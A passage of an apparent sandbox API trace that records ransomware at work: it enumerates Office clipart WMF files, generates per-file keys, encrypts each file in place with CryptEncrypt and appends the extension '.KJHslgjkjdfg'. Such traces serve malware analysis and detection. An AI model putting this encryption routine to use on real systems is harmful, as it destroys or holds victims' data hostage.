hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.434] GetProcessHeap () returned 0x2ef0000 [0205.434] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.kjhslgjkjdfg")) returned 1 [0205.436] CloseHandle (hObject=0x130) returned 1 [0205.436] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1 [0205.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.437] GetProcessHeap () returned 0x2ef0000 [0205.437] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.437] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.437] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0205.440] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.440] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.440] GetProcessHeap () returned 0x2ef0000 [0205.440] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.440] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.440] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.440] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.440] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.440] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.440] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.441] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.441] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.441] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.441] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x11dee, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x11dee, lpOverlapped=0x0) returned 1 [0205.443] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11df0, dwBufLen=0x11df0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11df0) returned 1 [0205.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.444] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11df0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x11df0, lpOverlapped=0x0) returned 1 [0205.445] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.445] SetEndOfFile (hFile=0x130) returned 1 [0205.448] GetProcessHeap () returned 0x2ef0000 [0205.448] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.448] GetProcessHeap () returned 0x2ef0000 [0205.448] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.kjhslgjkjdfg")) returned 1 [0205.450] CloseHandle (hObject=0x130) returned 1 [0205.451] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1 [0205.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.452] GetProcessHeap () returned 0x2ef0000 [0205.452] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.452] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.452] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0205.454] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.454] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.454] GetProcessHeap () returned 0x2ef0000 [0205.454] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.454] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.455] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.455] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.455] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.455] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.455] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.455] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.455] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.455] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.455] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x94c4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x94c4, lpOverlapped=0x0) returned 1 [0205.456] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x94d0, dwBufLen=0x94d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x94d0) returned 1 [0205.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.457] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x94d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x94d0, lpOverlapped=0x0) returned 1 [0205.457] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x95a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.457] SetEndOfFile (hFile=0x130) returned 1 [0205.460] GetProcessHeap () returned 0x2ef0000 [0205.460] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.460] GetProcessHeap () returned 0x2ef0000 [0205.460] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.kjhslgjkjdfg")) returned 1 [0205.462] CloseHandle (hObject=0x130) returned 1 [0205.462] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1 [0205.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.463] GetProcessHeap () returned 0x2ef0000 [0205.463] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.463] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.463] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0205.466] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.466] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.466] GetProcessHeap () returned 0x2ef0000 [0205.466] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.466] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.466] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.466] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.467] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.467] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.467] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.467] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb5b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb5b4, lpOverlapped=0x0) returned 1 [0205.468] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb5c0, dwBufLen=0xb5c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb5c0) returned 1 [0205.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.469] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb5c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb5c0, lpOverlapped=0x0) returned 1 [0205.469] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.469] SetEndOfFile (hFile=0x130) returned 1 [0205.471] GetProcessHeap () returned 0x2ef0000 [0205.471] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.471] GetProcessHeap () returned 0x2ef0000 [0205.471] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.kjhslgjkjdfg")) returned 1 [0205.473] CloseHandle (hObject=0x130) returned 1 [0205.473] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1 [0205.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.475] GetProcessHeap () returned 0x2ef0000 [0205.475] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.475] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.475] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.478] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.478] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.478] GetProcessHeap () returned 0x2ef0000 [0205.478] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.478] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.478] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.478] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.478] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.478] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.479] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.479] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.479] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.479] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.479] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x31dc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x31dc, lpOverlapped=0x0) returned 1 [0205.480] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31e0, dwBufLen=0x31e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31e0) returned 1 [0205.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.481] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x31e0, lpOverlapped=0x0) returned 1 [0205.481] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.481] SetEndOfFile (hFile=0x130) returned 1 [0205.484] GetProcessHeap () returned 0x2ef0000 [0205.484] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.484] GetProcessHeap () returned 0x2ef0000 [0205.484] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.kjhslgjkjdfg")) returned 1 [0205.485] CloseHandle (hObject=0x130) returned 1 [0205.485] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, 